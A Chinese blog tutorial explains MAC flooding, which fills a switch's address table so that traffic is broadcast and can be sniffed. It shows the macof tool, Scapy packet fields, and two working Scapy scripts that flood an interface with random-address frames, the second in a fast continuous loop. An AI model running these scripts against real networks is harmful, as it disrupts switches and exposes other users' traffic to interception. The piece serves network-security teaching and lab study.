Python 协议攻击脚本(二): Mac泛洪Mac_flood

Mac泛洪

交换机中存在着一张记录着MAC地址的表,为了完成数据的快速转发,该表具有自动学习机制;泛洪攻击即是攻击者利用这种学习机制不断发送不同的MAC地址给交换机,充满整个MAC表,此时交换机只能进行数据广播,攻击者凭此嗅探到信息。

数据包分析

我们知道了利用Scapy来构建包并发送,现在我们可以

利用dsniff套件中的macof来进行抓包

网络嗅探DSNIFF套件的使用

启动macof

# macof    //Ctrl+C 停止

Python 协议攻击脚本(二): Mac泛洪Mac_flood_第1张图片

Wireshark进行抓包

最好在没有互联网的网络中,避免过多干扰,虚拟机可用主机模式

Python 协议攻击脚本(二): Mac泛洪Mac_flood_第2张图片

可以看到由两个协议构成,以太网协议和IP协议Ether()/IP()

>>> Ether()/IP()
<Ether  type=0x800 |<IP  |>>
>>> ls(Ether)
dst        : DestMACField                        = (None)
src        : SourceMACField                      = (None)
type       : XShortEnumField                     = (36864)
>>> ls(IP)
version    : BitField (4 bits)                   = (4)
ihl        : BitField (4 bits)                   = (None)
tos        : XByteField                          = (0)
len        : ShortField                          = (None)
id         : ShortField                          = (1)
flags      : FlagsField (3 bits)                 = (<Flag 0 ()>)
frag       : BitField (13 bits)                  = (0)
ttl        : ByteField                           = (64)
proto      : ByteEnumField                       = (0)
chksum     : XShortField                         = (None)
src        : SourceIPField                       = (None)
dst        : DestIPField                         = (None)
options    : PacketListField                     = ([])

他们的源地址目的地址都是随机的,在Scapy中的volatile.py中有一些随机的方法

RandMAC()RandIP()

>>> RandMAC()	#一个类
<RandMAC>
>>> print(RandMAC())	#随机生成MAC
60:0a:21:09:15:2b
>>> print(RandMAC())
a3:c0:13:a7:2d:57
>>> RandIP()
<RandIP>
>>> print(RandIP())
157.117.117.149
>>> print(RandIP())
240.8.140.39
>>> print(RandIP('192.168.1.*')) #指定一定范围
192.168.1.86
>>> print(RandIP('192.168.1.*'))
192.168.1.71
>>> print(RandMAC('*:*:*:*:*:b1'))
b1:2c:42:55:2c:b1
>>> print(RandMAC('*:*:*:*:*:b1'))
5b:81:bf:32:4c:b1

Python脚本

初步脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from scapy.all import *
import time

iface = 'eth0'    #指定网卡
try:
    while 1:
        randmac = str(RandMAC())
        randip = str(RandIP())
        packet = Ether(src=randmac,dst=randmac)/IP(src=randip,dst=randip)
        sendp(packet,iface=iface,loop=0)
        
except KeyboardInterrupt: #捕获Ctrl+c
    print('/n[+]Stop')

但这个发包速度太慢

提点速,再整体优化下

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from scapy.all import RandMAC,RandIP,Ether,IP,sendp #针对性的导入函数,避免加载慢
import sys

iface = 'eth0'
if len(sys.argv) >= 2:
    iface = sys.argv[1]

packet = Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())
sendp(packet,iface=iface,loop=1) #loop 自带的循环发包

效果图

Python 协议攻击脚本(二): Mac泛洪Mac_flood_第3张图片

你可能感兴趣的:(Pyhton)